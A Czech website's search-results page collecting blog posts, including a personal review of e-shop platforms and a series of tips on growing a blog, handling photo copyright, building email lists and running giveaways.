Výsledky vyhledávání v sekci E-shopy a šablony na dotaz tady

Jaké tech. řešení pro eshop? Mám pár zkušeností

access_time10.červen 2019personZdenek Slavik

Občas se mně někdo ptá na čem postavit eshop. Bohužel odpověď je docela složitá, napíšu vám sem pár typů z vlastní zkušenosti. Spravuji pár eshopů – dalo by se to sice spočítat na jedné a půl ruce, pokud beru v úvahu i projekty na kterých se podílím, ale pracoval jsem již s více řešeními. Vyzkoušel jsem desítky řešení při hledání optimálního, ale po 10ti minutách v administraci určitě nemohu hodnotit.Pozor eshopy hodnotím ze subjektivního pohleduSimplia - pronájemJedná se o klasický pronájem, kterých jsou na trhu desítky méně dobrých, ale i špičkových. Simplii řadím do druhé kategorie. Mezi hlavní přednosti počítám ceny a možnost vymýšlet si úpravy na míru. Zatím jsem se nesetkal s vylepšením, které by nešlo vytvořit – tedy hlavně na frontendu. Zde totiž vidím problém většiny pronájmů kde je problém i vlastní jednoduchá šablona. Další výhodu je možnost zapojit eshop do jejich affiliate a systému na přeposílání objednávek. Mají to celkem zmáknuté, i když by se našlo spousty vylepšení, které by bylo vhodné udělat. Jedinou slabinu vidím v časovém vytížení této společnosti, kde je někdy opravdu problém něco vyřešit hodně rychle, ale i tak s tím nemám větší problémy.Dále se mi líbí že mám i přístup k šablonám, kde mohu udělat drobné úpravy, klient tedy ve výsledku zaplatí méně než kdybych to já komunikoval se simplií.Webmex – pronájem/vývojová licenceWebmex byl původně systém SuperQC, který je postaven na základech polském Quick Cartu. S tímto systémem je to trochu komplikovanější, nyní to vzal do ruky nový majitel Jirka Warmuž a snaží se systém posunout o velký kus dopředu. A i když má systém jenom pár měsíců pokroky jsou určitě znát. SuperQC byl původně založen na prodeji doživotních licencí za pár korun – myslím 2000 Kč, jak kdy.Nyní lze webmex pořídit ve dvouch variantách a to jako vývojářskou licenci (bez podpory, bez modulů, bez aktualizací) a formou pronájmu. Na tomto systému se mi líbí nejvíce vývojářská licence, kterou lze pořídit za pár korun a dělat s ní zázraky. Hlavní výhodu u ní je pořizovací cena, eshop stačí nainstalovat, nastavit DPH, nastavit šablonu a eshop běží. Veškerou funkčnost má již v sobě – porovnávače zboží, měření konverzí, importy od dodavatelů atd..Pronájem tedy doporučuji všem co chtějí kompletní eshop a nestarat se o technické záležitosti, cena je zatím oproti konkurenci velice příznívá. Pochválit musím i pružnost při navrhování nové funkčnosti. Vývojářskou licenci doporučuji někomu kdo se rád hrabe ve zdrojových kódech a nechce se vlastně starat tolik o provoz eshopu, nebo má na správu eshopu někoho najatého. Doporučuji všem co chtějí Prestashop.Sunlight – pronájemTento systém jsem provozoval asi jen dva měsíce, v podstatě sním tedy nemám zkušenosti. Oproti ostatním je ale určitě uživatelsky přívětivější. Na druhou stranu pokud s eshopem pracujete denně stejně víte kde co najít. Dále se mi líbily celkem propracované statistiky, běžný uživatel nepotřebuje chodit do GA.ShopSys – pronájem/koupě licenceTady nevím jak přesně začít, nerad někoho pomlouvám. Na tomto systému spravuji jeden eshop, bohužel se jednalo o koupi již fungujícího eshopu a nešlo proto vybírat technické řešení. Eshop který spravuji je na zakoupené licenci asi před třemi roky a nyní již mají novou verzi systému – bohužel na novou verzi nelze bezplatně a bez bolestně přejít. Eshop jsme dostali a obsahoval pár nefunkčních věcí, kde jsme museli s ShopSysem komunikovat a žádat o nápravu. Vše ale dopadlo dobře a nyní běží jak má. Další menší výtku bych měl k práci v administraci – je trochu nestandardní a pro mne méně přívětivá. Stává se mi běžně že musím hledat něco co jsem použil jen jednou.Tento systém tedy ani nedoporučuji ani od něj neodrazuji, pouze moje osobní zkušenosti nejsou zcela dobré. Jediné co mohu pochválit je výborná podpora, opravdu tam mají pár lidí co se stají o požadavky klientů.SocialWeb – zdarma eshopSocialWeb je víc než jen e-shop, je to spíše koncept prodeje a komunita prodejců, tedy alespoň z mého pohledu. Tento systém totiž jako jediný umožňuje vytvářet libovolný počet eshopů na libovolném počtu domén, což znamená, že si můžete velmi jednoduše sami sobě konkurovat a zahlcovat svým produktem trh.Také podporuje Dropshipping a Affiliate, takže vaše zboží z vašeho eshopu - pokud to jednoduše povolíte může nabízet k prodeji X dalších lidí ve svých SocialWeb eshopech a na svých SocialWeb webových stránkách.Nicméně i tohle řešení má jisté nevýhody, nejde upravovat zdrojový kód - ikdyž si ho můžete stáhnout a nainstalovat na svůj vlastní webhosting a nebo server. A celkem málo šablon. Prestashop – open sourcePrestashop jsem používal více než před dvěma lety, nevím tedy zda se něco výrazně změnilo. Ale v podstatě nemám tento systém moc v lásce a to hlavně proto že není primárně určen na český trh a je potřeba provést celkem dost úprav než lze na tomto řešení pustit eshop. Co mě dále strašně irituje že většina eshopů na prestashopu lze poznat na první pohled a obecně na takovém eshopu nerad nakupuji – nevím jak to máte vy, ale když vidím eshop na prestashopu, jdu raději pryč, pokud ho neznám.Doufám ale že za ty dva roky udělal krok kupředu a je již na jíné úrovni. Neodpustím si ale dodat – pokud chcete eshop kde si budete chtít hrát i s kódem, volte webmex s vývojářskou licenci, výjde vás ve výsledku i levněji. Pokud chcete kompletní přehled eshopů můžete si přečíst třeba tento článek.

folder_openPřiřazené štítky

Výsledky vyhledávání v sekci Webové stránky na dotaz tady

Jak získat čtenáře pro váš blog

access_time13.květen 2019personJana

A je to konečně tady.  Váš velký okamžik. Máte svůj blog, máte publikovaných pár prvních článků, máte vyladěný design vaší stránky. Teď nastává ten okamžik – pozvat na váš blog první čtenáře. Jak na to?Způsobů, jak získat čtenáře je mnoho. V tomto příspěvku si řekneme o těch základních, které by Vám mohly pomoci v začátcích. V první fázi se ujistěte, že články, které jste zatím na blogu publikovali jsou opravdu hodnotné a zajímavé, aby oslovily co nejvíce návštěvníků a stali se z nich vaši pravidelní čtenáři.Takže začínáme:1. Pozvěte na blog nejprve své přátele – buď osobně, pošlete jim e-mail, pozvěte své přátele z Facebooku či na Twitteru, Google+ atd. V první fázi je super, že přátelé vám mohou dát užitečnou zpětnou vazbu – je pro ně blog zajímavý? Líbí se jim design? Je blog přehledný? Nebojte se jich zeptat a poproste je také, ať vám na blog přidají nějaké komentáře k článkům. Zvýší to Vaši důvěryhodnost a motivuje další návštěvníky, aby také komentovali2. Komentujte na blozích s podobnou tématikou, jako je ten váš. Toto je klasická rada pro blogery. Ale pozor. Nedoporučuji komentovat stylem „ahoj, já mám taky svůj blog, podívej se ke mně“. Někdo by podobné příspěvky mohl považovat za spam a nikdo se pak k vám nepodívá. Lepší je, komentujete -li článek, ke kterému máte opravdu co říci, vyjádřit svůj názor a třeba odkázat na váš vlastní článek, kde dané téma rozvíjíte nebo zmiňujete. Takže například  “ahoj, skvělý článek, psal jsem o něčem podobném na www.mujblog.cz a můj názor je, že…“. Samozřejmě můžete prostě jen komentovat, nemusíte přímo nabízet návštěvu svých stránek. Pokud budete psát zajímavé komentáře, čtenáři kliknou na vaše jméno u příspěvku a dostanou se na váš blog tak jako tak. Příliv nových čtenářů není díky komentování na cizích blozích nijak závratný, jde to spíše pomalu, ale jde to.3. Spojte se s nějakým blogerem, který píše o podobné oblasti jako vy. Napište mu e-mail, povězte mu, proč rádi chodíte k němu na blog, a informujte ho o svém novém blogu . Nabídněte mu, že například napíšete článek pro jeho blog zdarma (tzv. guest post) na určité téma s tím, že součástí bude odkaz na váš vlastní blog. Pokud bude bloger souhlasit, je velká pravděpodobnost, že mnoho z jeho čtenářů se stane také vašimi čtenáři. Možná se tomu blogerovi váš blog zalíbí natolik, že o něm u sebe sám napíše.4. Mějte na svém blogu kolonku „mé oblíbené blogy“. Pokud se někdo v této kolonce najde, třeba také uvede ten váš blog na své stránce. Například Blogger umožnuje umístit do postranní lišty přímo položku „seznam blogů“ (v administraci blogu vyberte Rozvržení > Přidat miniaplikaci > Seznam blogů). Blogy můžete nechat  zobrazovat i s miniaturou nejnovějšího příspěvku, které se řadí automaticky podle toho, kde je nejnovější příspěvek. Díky tomu ostatní vidí, kde je něco nového. Přes tuto funkci mám já sama na svém blogu největší návštěvnost z ostatních blogů, které mě mají mezi oblíbenými.5. Udělejte svému blogu stránku na facebooku. Informujte tam o nových příspěvcích, přidávejte fotky, novinky, informujte o plánech… Ať stránka žije. Požádejte své přátele, ať dají vaší stránce „like“. Na svém blogu mějte ikonku pro Facebook, ať se s vámi mohou čtenáři spojit. Můžete také pod každý článek dát ikonku pro „like“ – ale o tom zase někdy jindy…

folder_openPřiřazené štítky

Jak moc být na blogu osobní?

access_time13.květen 2019personJana

V případě, že vám blog opravdu slouží jako osobní deník, pro záznamy vašich osobních zážitků, třeba z cestování, je jasné, že budete psát hodně v 1. osobě jednotného čísla, budete psát své osobní názory, co jste kdy dělali apod. Co když ale píšete blog firemní? Nebo blog, který má podpořit vaši  živnost?  Tady už možná můžeme mít pocit, že být příliš osobní se nehodí. Je to tak?Záleží určitě do jaké míry jste extrovertem a do jaké míry chcete nechat nahlédnout do svého soukromí. Rozhodně není potřeba psát o dětech, rodině, soukromí. Ale čtenáře zajímá něco o vás, něco o tom, co děláte, co si myslíte… A mělo by se to tématicky týkat blogu.Základem je říci si, proč vlastně blog píšete. Co je vaším cílem? Většinou to bude podpora vašeho podnikání, ať již v jakékoli formě. A znáte klasickou poučku „lidé nakupují u toho, koho znají“? Cílem blogu je, vytvořit s vašimi čtenáři vztah. Jen tak si u vás něco koupí. A pokud budete blog psát v neutrální rovině, kdy se lidé nebudou moci s pisatelem identifikovat, vztah se vám vytvořit nepodaří.Jaké jsou tedy nelepší způsoby, jak dosáhnout kvalitního vztahu s vašimi čtenáři?Odpovídejte na komentáře. VŽDY!  Poděkujte, napište svůj názor, nějaké doplnění k článku, nápad, odkaz… Čtenáři uvidí, že na blogu to žije a že za články stojí reálný člověk, který s nimi komunikuje a že stojí za to, komentář vůbec napsat.Tu a tam můžete napsat něco osobnějšího – nejlepší je v příspěvku přidat například svůj názor nebo svou vlastní zkušenost s předmětem, o kterém píšete. Nebo napište co zrovna děláte za projekt, za zakázku, kde jste byli na zajímavé výstavě… Ukažte lidem třeba něco ze zákulisí – jak vznikají vaše výrobky apod.Na rozdíl od textových příspěvku, mnohem větší ohlas u čtenářů mají videa. Lidé vás totiž uvidí „na živo“ a s reálnou osobou si mohou vytvořit alespoň virtuálně spíše vztah než pokud jen čtou text. Zkuste natočit nějaké video o tom, jak něco vyrábíte, nebo připravte krátkou přednášku na určité téma. Uvidíte, že video bude mít úspěch!Pokud píšete třeba za celou firmu, můžete používat 1. osobu množného čísla – byli jsme, udělali jsme… Určitě se nebojte psát i sami za sebe. Vyvarujte se ale trpného rodu. A například tiskové zprávy, strohé PR články a přímá reklama na vaše výrobky na blog nepatří!

folder_openPřiřazené štítky

Etiketa blogování: jak používat fotografie na vašem blogu

access_time13.květen 2019personJana

Dnes se dostáváme k  tématu, které trápí nejednoho blogera.  Kde vzít fotografie na můj blog?Blog bez fotografií může sice existovat, ale ve většině případů je alespoň jedna fotografie u každého příspěvku vhodná. Přitáhne oko čtenáře a může ho inspirovat v dalším čtení. Záleží samozřejmě na tom, v jakém oboru se pohybujete a o čem píšete. Některé blogy mají čistě literární charakter a obejdou se bez fotek. Pokud máte firemní blog, budete mít pravděpodobně zásobu fotografií z vlastních zdrojů, například fotky vašich produktů. Ne vždy to ale stačí.Používání fotografií se řídí autorským zákonem. Nemůžete tudíž jen tak zkopírovat kdejakou fotografii, kterou najdete na webu a použít je na svém blogu. Byla by to krádež a mohl by vám hrozit postih. Ale nebojte se, zas tak strašné to není… To by neexistoval jediný blog s fotkami. Jak to tedy zařídit, abychom měli blog plný inspirativních fotografií a neporušovali zákon?Máte několik možností:1. Používat vlastní fotografie. Nejjednodušší varianta, alespoň z pohledu zákona. Ne už tak z pohledu mnohdy nepříliš zdatného fotografa. Některé blogy (např. o jídle) přímo na vlastních fotografiích autorů staví. Záleží tedy opět na tom, o čem váš blog je a zda jsou fotografie, které budete publikovat, jen ilustrativní k textům, nebo to má být vaše vlastní tvorba a deviza vašeho blogu (na téma „základy fotografie pro blogery“ připravujeme seriál tady na blogu ve spolupráci s renomovaným fotografem)2. Pořídit fotografie z fotobanky. Není to zadarmo, ale ve fotobánkách – např.  http://www.pixmac.cznebo http://www.dreamstime.com  a spoustě dalších můžete zakoupit všechny možné fotografie a obrázky. Dobrá zpráva: lze najít v komerčních fotobankách i fotografie zdarma! Prohledejte různé fotobanky a uvidíte, co najdete. Na tomto blogu i v jiných projektech používám úžasnou fotobanku Stock Xchng - http://www.sxc.hu, kde jsou fotografie zdarma! Je jich tam opravdu velký výběr. Jen pozor, reklama je všude a tudíž v této fotobance se vám mohou objevit v horní  nebo dolní liště krásné fotografie, ale placené, většinou z fotobanky iStockphoto.com3. Používat fotografie jiných autorů. Vážně to jde, ale… Internet je plný fotografií, plný krásných blogů. Některé blogy (jako i např. můj blog http://idesignercz.blogspot.cz) jsou založeny na poskytování vizuální inspirace čtenářům prostřednictvím fotografií. Z pohledu zákona bychom správně v případě použití fotografie, kterou najdeme na internetu, měli požádat autora o povolení s publikováním. Obávám se ale, že to bychom nedělali nic jiného. Navíc ne vždy se vám podaří vlastně dohledat původního autora fotky, která putuje po internetu. Jak to tedy vyřešit? Pokud publikujete článek a uvedete fotografii, kterou jste našli na internetu resp. na jiném blogu, musíte vždy uvést jméno blogu  a/nebo autora a odkaz na jeho stránky. Odkaz na zdroj může být uveden přímo pod fotografií, nebo hromadně pro všechny fotky v článku na jeho konci.  Ale pozor!!! V tomto případě pracujete vlastně jako novinář  a používáte fotky tzv. k editorial účelu. Nemůžete zkopírovat někde celý článek včetně fotek a publikovat ho na svém blogu! Musí to být váš vlastní článek, ke kterému najdete ilustrační fotky z různých zdrojů (článek by měl mít také nějakou přidanou hodnotu pro vaše čtenáře a nemůžete tudíž kopírovat to, co už jinde bylo napsáno, nehledě na porušování autorského zákona). A je dobré dát si tu práci, a proklikat se z fotky, kterou najdete až k jejímu původnímu autorovi, někdy to nejde, ale pokud ano, uvádějte zdroj a odkaz na původního autora, nikoli na blog, který fotku převzal. A podívejte se, zda autor nemá na svých stránkách někde informaci, že si nepřeje používání svých fotografií jinde. Někdy naopak narazíte na informaci, že fotky používat můžete, pokud uvedete odkaz zpět na blog autora – tím lépe – autor získá malou „reklamu“ a vy máte jistotu, že jste udělali vše správně.A pozor podruhé:  takto získané fotografie nesmíte použít ke komerčním účelům! To znamená ani v grafice svého webu či blogu (záhlaví, ilustrace apod.) nebo ke své vlastní reklamě či propagaci a už vůbec ne k výrobě nějakých produktů! K takovému účelu musíte použít fotky z fotobank – viz bod 2.Jak ideálně takový příspěvek vypadá se můžete podívat třeba tady: http://idesignercz.blogspot.cz/2013/03/barevne-kombinace-seda-svezi-zelena.html – článek o určitém tématu, doplněný fotkami „posbíranými“ po internetu s uvedením odkazu na zdroj fotek.4. Fotobanky, které jsou zdarma. Například na Pixabay.com naleznete obrázky zdarma, které navíc mohou být použity i pro komerční použití!Na závěr prosím vemte na vědomí, že nejsem právník, tudíž tuto problematiku jsem se snažila popsat ze svého hlediska a svých zkušeností a podle svého nejlepšího svědomí, nicméně nepřebírám odpovědnost za jakékoli problémy, které by vám mohly s použitím fotografií vzniknout. Děkuji za pochopení :-).

folder_openPřiřazené štítky

1. DÍL: Jak na lepší blog – na téma plán

access_time13.květen 2019personJana

Vítejte na první zastávce na naší cestě k lepšímu blogu. Dnes se zaměříme na něco, co možná mnoho blogerů (včetně mně :-)) nedělá. Jde o plánování. Ruku na srdce – na jak dlouho dopředu máte naplánované příspěvky? Není to spíš tak, že blogujete v okamžiku, kdy máte nějakou inspiraci, nějaký nápad? Pak se ale může lehce stát, že přijde období, kdy prostě žádný nápad nepřijde. Nebo nestíháte. A blog zeje prázdnotou. A to není dobré ani pro vaše čtenáře (kteří budou zklamaní a už se třeba nevrátí a najdou si jiný blog, který budou číst) ani i pro vyhledávače a roboty (kteří milují nový obsah a díky němu vás posunují nahoru ve výsledcích vyhledávání).Dnešním úkolem proto bude udělat si plán příspěvků na rok 2019.Než se do toho ale pustíme, udělejte jednu věc. Podívejte se, jaký byl rok 2014. Jaký byl nejvíce komentovaný článek? Jaký článek byl nejvíce sdílený na sociálních médiích? Zkontrolujte statistiky vašeho blogu a podívejte se, který článek měl největší návštěvnost. A který článek vás samotné nejvíc bavilo psát?Toto vám pomůže v přemýšlení o tom, co psát v tomto roce.A teď už k plánování. Vemte si k ruce kalendář (nebo pokud chcete, na internetu je ke stažení a vytisknutí spousta formulářů a různých plánovacích vychytávek v angličtině – zkuste třeba projít tuto nástěnku na Pinterestu a něco si vyberte)Možná se vám v tuto chvíli zdá, že nedokážete nic vymyslet a už vůbec ne rok dopředu. Tady je tedy pár tipů (a pokud je rok opravdu dlouhá doba, zkuste půl roku nebo 3 měsíce):1. zamyslete se nad ročními obdobími – vždy je něco, co souvisí s daným obdobím, počasím, svátky apod., co může vést k zajímavému článku z pohedu vašeho oboru2. jsou ve vašem oboru nějaké trendy, novinky, plánované akce, výstavy?3. co jsou ty největší problémy, které trápí vaše čtenáře a se kterými byste mohli v článku poradit?4. co vás nejvíc baví dělat (o čem psát)?5. je něco co vás štve (kontroverzní články bývají často těmi nejvíc sdílenými) , co toužíte napravit nebo uvést na pravou míru?A jeden tip na závěr – mějte někde při ruce zápisník (já používám elektronický Evernote, který mám v PC i v mobilu, takže stále při ruce) a jakmile přijde nějaký chvilkový nápad na článek nebo najdete inspiraci na internetu, ale nemůžete zrovna článek napsat, napište si poznámku do zápisníku. Stejně tak v okamžiku, kdy na vás přijde tvořivá nálada a vymyslíte témata na články na dlouho dopředu. Dávkovat je pak můžete svým čtenářům postupně.Pro dnešek je to vše. Zítra se podíváme, jak vylepšit vaše fotky.

folder_openPřiřazené štítky

2. DÍL: Jak na lepší blog – na téma lepší fotografie

access_time13.květen 2019personJana

Vítejte na první zastávce na naší cestě k lepšímu blogu. Dnes se zaměříme na něco, co možná mnoho blogerů (včetně mně :-)) nedělá. Jde o plánování. Ruku na srdce – na jak dlouho dopředu máte naplánované příspěvky? Není to spíš tak, že blogujete v okamžiku, kdy máte nějakou inspiraci, nějaký nápad? Pak se ale může lehce stát, že přijde období, kdy prostě žádný nápad nepřijde. Nebo nestíháte. A blog zeje prázdnotou. A to není dobré ani pro vaše čtenáře (kteří budou zklamaní a už se třeba nevrátí a najdou si jiný blog, který budou číst) ani i pro vyhledávače a roboty (kteří milují nový obsah a díky němu vás posunují nahoru ve výsledcích vyhledávání).Dnešním úkolem proto bude udělat si plán příspěvků na rok 2019.Než se do toho ale pustíme, udělejte jednu věc. Podívejte se, jaký byl rok 2014. Jaký byl nejvíce komentovaný článek? Jaký článek byl nejvíce sdílený na sociálních médiích? Zkontrolujte statistiky vašeho blogu a podívejte se, který článek měl největší návštěvnost. A který článek vás samotné nejvíc bavilo psát?Toto vám pomůže v přemýšlení o tom, co psát v tomto roce.A teď už k plánování. Vemte si k ruce kalendář (nebo pokud chcete, na internetu je ke stažení a vytisknutí spousta formulářů a různých plánovacích vychytávek v angličtině – zkuste třeba projít tuto nástěnku na Pinterestu a něco si vyberte)Možná se vám v tuto chvíli zdá, že nedokážete nic vymyslet a už vůbec ne rok dopředu. Tady je tedy pár tipů (a pokud je rok opravdu dlouhá doba, zkuste půl roku nebo 3 měsíce):1. zamyslete se nad ročními obdobími – vždy je něco, co souvisí s daným obdobím, počasím, svátky apod., co může vést k zajímavému článku z pohedu vašeho oboru2. jsou ve vašem oboru nějaké trendy, novinky, plánované akce, výstavy?3. co jsou ty největší problémy, které trápí vaše čtenáře a se kterými byste mohli v článku poradit?4. co vás nejvíc baví dělat (o čem psát)?5. je něco co vás štve (kontroverzní články bývají často těmi nejvíc sdílenými) , co toužíte napravit nebo uvést na pravou míru?A jeden tip na závěr – mějte někde při ruce zápisník (já používám elektronický Evernote, který mám v PC i v mobilu, takže stále při ruce) a jakmile přijde nějaký chvilkový nápad na článek nebo najdete inspiraci na internetu, ale nemůžete zrovna článek napsat, napište si poznámku do zápisníku. Stejně tak v okamžiku, kdy na vás přijde tvořivá nálada a vymyslíte témata na články na dlouho dopředu. Dávkovat je pak můžete svým čtenářům postupně.Pro dnešek je to vše. Zítra se podíváme, jak vylepšit vaše fotky.

folder_openPřiřazené štítky

4. DÍL: Jak na lepší blog – kontakty

access_time13.květen 2019personJana

Jsme ve čtvrtém dnu naší blogové výzvy pro váš lepší blog. Mnoho a mnoho internetových stránek bylo popsáno úvahami nad důležitostí vybudování si vlastního seznamu emaIlových kontaktů na své čtenáře. Ano, je to totiž opravdu opravdu důležité. I když si teď možná říkáte, že blogujete jen tak, pro zábavu, a nevidíte důvod, proč si budovat nějakou databázi kontaktů, věřte mi – důvodů je několik. I když totiž třeba zatím neplánujete nic prodávat na internetu, co když jednou chtít budete? Ať už vás napadne napsat e-knihu, pořádat nějaký webinář, e-kurz, nebo prostě jen budete chtít napsat lidem, že jste vydali článek, na který jste opravdu pyšní a který jim může hodně pomoci – seznam emailů na vaše věrné a nadšené čtenáře se bude více než hodit.Pokud už podnikáte, není o čem diskutovat. Sama jsem si ověřila, že moje databáze kontaktů (o kterou je třeba pečovat – posílat jim tu a tam alespoň nějaký newsletter, který ale není prodejní, nýbrž pomáhá, radí, informuje…) je tím naprosto nejlepším a hlavně koupě schopným obecenstvem. Čekají na moje emaily, jsou za ně vděční, že jim posílám nějakou tu inspiraci a když mám něco na prodej, jsou to ti první, kteří okamžitě koupí.Takže co můžete udělat pro to, abyste v tomto roce začli budouvat svou databázi kontaktů? Předně si musíte o emailovou adresu svým čtenářům říct. Nepředpokládejte ale, že vám ji jen tak dají. Musíte nabídnout něco na oplátku. Tady je několik možností:1) Newsletter. Mnohdy stačí pouhá nabídka toho, že jim budete pravidelně, např. jednou týdně nebo jednou za měsíc, posílat shrnutí toho nejlepšího, co vyšlo na vašem blogu. Ti, kteří si nechtějí nechat ujít jediný článek, vám rádi svou emailovou adresu svěří.2) Něco ke stažení. Zkuste vymyslet, co byste čtenářům mohli dát na oplátku za to, že vám dají email. Často to může být nějaký soubor (nejčastěji PDF) – může to být celá e-kniha, ale mě se osvědčilo i velmi krátké PDF – konkrétně PDF, které mělo celé 2 strany a obsahovalo 5 nástrojů, které používám při navrhování interiérů. Můžete také zkusit podívat se na svůj blog – jaké byly nejúspěšnější nebo nejdůležitější články? Zkuste z nich sestavit své PDF a nabídnout ho za email. Já jsem svou e-knihu psala podle návodu Stáni Mrázkové – pokud nevíte jak správně e-knihu vytvořit a potřebujete trochu „nakopnout“, tak vřele doporučuji.3) Online kurz. Takto jsem dříve velmi úspěšně sbírala kontakty na svých stránkách janapekna.cz. Nabízela jsem za emailovou adresu 4 dílný emailový kurz. Po vložení emailu automaticky čtenář dostane v rozmezí cca 10 dnů 4 emaily obsahující hodnotné informace o tom, jak si zařídit bydlení. Tak mě napadá, že dobrým způsobem, jak sbírat kontakty na tomto blogu, by třeba mohl být kurz, který bych vytvořila z této 7 denní blogové výzvyA teď k technické stránce věci. Nástrojů, díky kterým můžete sbírat kontakty (a zároveň odeslat automaticky nějaký produkt nebo link na stažení nebo automaticky odesílali předem nastavenou řadu emailů) je mnoho. Já osobně používám dva.Český Smartemailing – výhodou je, že je v češtině, navíc s podporou na telefonu nebo emailu, pokud byste něčemu nerozumněli. Navíc, pokud budete prodávat nějaké online produkty, můžete Smartemailing napojit i na prodejní systém (Fapi), affiliate program (Affilbox) apod. Program je na zkoušku zdarma, pak placený.V angličtině je Mailchimp – mám ho ráda z důvodu elegantnější obsluhy a tvorby samotných newsletterů.  A je do 2000 kontaktů zdarma (ale nemůžete zdarma posílat automatické emaily, takže například stažení produktu musíte promyslet jinak)Jak to ve výsledku vypadá se můžete podívat třeba přímo tady na blogu v pravém sloupci. Celá „věda“ sbírání kontaktů, komunikace s databází atd. je trochu komplexnější. Existuje také mnoho tipů a triků, jak čtenáře ještě více nalákat (nebo v dobrém slova smyslu „donutit“) vložit svůj email. Máte zájem o více detailnější pohled na věc? Napište mi do komentářů, zda a co přesně by vás zajímalo!Každopádně v rámci naší Blogové výzvy se pro dnešek zamyslete, co byste svým čtenářům nabídli za emailový kontakt a udělejte si na svém blogu formulář na sběr kontaktů!

folder_openPřiřazené štítky

6. DÍL: Jak na lepší blog – Soutěže

access_time13.květen 2019personJana

Pokud chcete udělat váš blog zajímavějším, najít nové čtenáře, potěšit ty stávající a trochu „rozvířit vody“ v běžné posloupnosti článků, jsou soutěže tím pravým řešením. Proč uspořádat na blogu soutěž?Soutěže (na anglických ale i mnoha českých blozích, hlavně módních, se setkáte s názvem giveaway) zvýší mnohonásobně, alespoň krátkodobě, návštěvnost vašeho blogu. Je velká šance, že část z tohoto množství návštěvníků zůstane vašimi stálými čtenáři. O soutěži se také začne mluvit (více o tom dále) na sociálních sítích, lidé budou vaši soutěž sdílet, a tak kromě větší návštěvnosti blogu může růst například i váš Facebook apod. A to je skvělé, ne?Tady je pár tipů, jak uspořádat vaši první soutěž.CENA DO SOUTĚŽE nemusí být v nějaké závratné finanční hodnotě. Rozhodně vás tato akce nezrujnuje. Může jít o např. knihu, nebo nějaký váš produkt. Poukázku na nákup nebo na službu. Poukázka na nákup v nějakém obchodě, který víte, že mají vaši čtenáři rádi (já jsem třeba pořádala na svém blogu o bydlení soutěž o poukázku na 500 Kč do IKEA). Cena by ale rozhodně měla souviset s tématem vašeho blogu/podnikání a měla by být dostatečně atraktivní, aby stálo čtenářům za to se do soutěže zapojit. Dobrým tipem také může být spolupořádání soutěže s nějakým sponzorem. Dejme tomu, že váš blog se zabývá kosmetikou a můžete oslovit nějakého výrobce nebo prodejce a domluvit se s ním na tom, že věnuje do soutěže cenu odměnou za odkaz na jeho web, nebo dokonce za to, že soutěžící budou muset na jeho stránce vyhledat nějakou odpověď na soutěžní otázku – win-win situace – vy máte produkt do soutěže, čtenáři krásnou cenu a sponzor pozornost.JAK SOUTĚŽIT. Vzorec nastavení soutěže může být různý. Důležité je, co soutěží sledujete – čeho chcete dosáhnout. Můžete chtít, aby soutěžící odpověděli na nějakou otázku. Nejčastěji je požádáte, aby odpověděli v komentářích pod článkem a připojili na sebe emailový kontakt pro případ výhry. V tomto případě se hodí spíše otázky názorové – co si myslíte…, co je vaše nejoblíbenější… atp. Cílem tady může být například to, že se chcete dozvědět, co by vaše čtenáře zajímalo, co mají rádi apod.Můžete položit také otázku typu „správná odpověď“ – kterou třeba čtenáři musí někde vyhledat. Zde vám jde o to, aby se lidé podívali na váš web, produkty a pod. a díky hledání odpovědi si všimli, co vlastně děláte, třeba objevili něco, co se jim líbí, co by chtěli apod. Tady je nejlepší variantou, aby soutěžící odesílali odpovědi na otázku přímo na Váš email.Další možností, je požadovat, aby se soutěžící stal vaším fanouškem na Facebooku, Google+, přihlásil se k odběru newsletteru, aby vás sledoval na Pinterestu či kdekoli jinde, kde to považujete za důležité a chcete zvýšit svou sledovanost. Tuto možnost lze kombinovat s předchozími – např. soutěžící musí odpovědět na otázku plus se stát fanouškem na Facebooku. Nebo že musí odkaz na článek se soutěží sdílet někde na sociální síti nebo na jeho vlastním blogu (tohle je opravdu dobrý nápad, soutěž se bude šířit sama :-))JAK DÁT O SOUTĚŽI VĚDĚT. Využijte svou databázi kontaktů a oznamte jim, že na blogu probíhá soutěž. Využijte své sociální sítě a napište o soutěži všude možně. Zkuste se také poohlédnout na internetu – existují stránky nebo facebookové profily, které propagují soutěže, které probíhají na internetu. Zpravidla zdarma tam můžete zadat odkaz na vaší soutěž.JAK ČASTO SOUTĚŽ POŘÁDAT. Samozřejmě nechcete, aby se váš blog stal soutěžním místem, kam budou lidé chodit jen proto, aby mohli něco vyhrát. Není tedy radno pořádat soutěže příliš často. Dejme tomu, že 2 – 4x do roka je optimální.JAK DLOUHO BY MĚLA SOUTĚŽ TRVAT. V blogovém světě je podle mého názoru ideální, aby soutěž trvala cca 1 týden. Při kratším čase se třeba ne všichni dostanou k internetu a čtení blogů, takže by jim mohla soutěž uniknout. A při delším zase hrozí ztráta nadšení a pozornosti při sdílení na sociálních sítích.Úkol pro dnešní den: Promyslete, jak potřebujete vaše čtenáře nebo potencionální čtenáře nasměrovat – zda chcete více čtenářů, více komentářů, více sledování na sociálních sítích, více kontaktů na seznamu…. Podle toho vymyslete plán, najděte ideální cenu a spusťte svou soutěž!

folder_openPřiřazené štítky

Blogování v roce 2019: je blogování mrtvé?

access_time13.květen 2019personJana

V poslední době se na internetu objevily různé zprávy a diskuze o tom, že blogování už není to, co bývalo a že klasické blogy stále častěji končí. Důvodem je pokles zájmu čtenářů. Je ale blogování opravdu mrtvé?Podle mého názoru je třeba rozlišit blogy osobní, které jejich autoři píší ve svém volném čase, jako koníček, a blogy profesionální. A u těch profesionálních je ještě třeba specifikovat, zda se jedná o blog, jehož majitel se blogováním přímo živí a nebo o blog tzv. firemní, který má sloužit jako podpora jeho jiného podnikání. Pojďme se tedy podívat, jak to s jednotlivými kategoriemi je.Osobní blogyTady bohužel musím dát šířícím se zprávám za pravdu. Boom blogování, který u nás byl před 2 -3 lety, je už opravdu minulostí. Blogy, které bývaly populární, buď jejich majitelé opustili (nejčastěji proto, že se změnila jejich životní situace  a na blog už neměli tolik času) nebo došlo k velmi vysokému úbytku čtenářů. Časy, kdy čtenáři nedočkavě čekali na nový článek a dychtivě komentovali, jsou patrně pryč. Není to ale proto, že by nechtěli slyšet či vidět, co má jejich oblíbený autor na srdci.Je to spíš vývojem doby a sociálních médií, kdy málokdo už čte obsáhlé články, ale spíše je dnes na Facebooku, Instagramu a jiných sítích. A až když na těchto sítích objeví něco zajímavého – například odkaz na článek, který ho opravdu zaujme – klikne na něj a přečte si ho na blogu.Je to také tím, že čím dál tím více lidí sleduje tyto sítě na svém chytrém telefonu, který tolik nenahrává nějakému čtení dlouhých článků nebo načítání velkého množství fotografií.Pokud máte 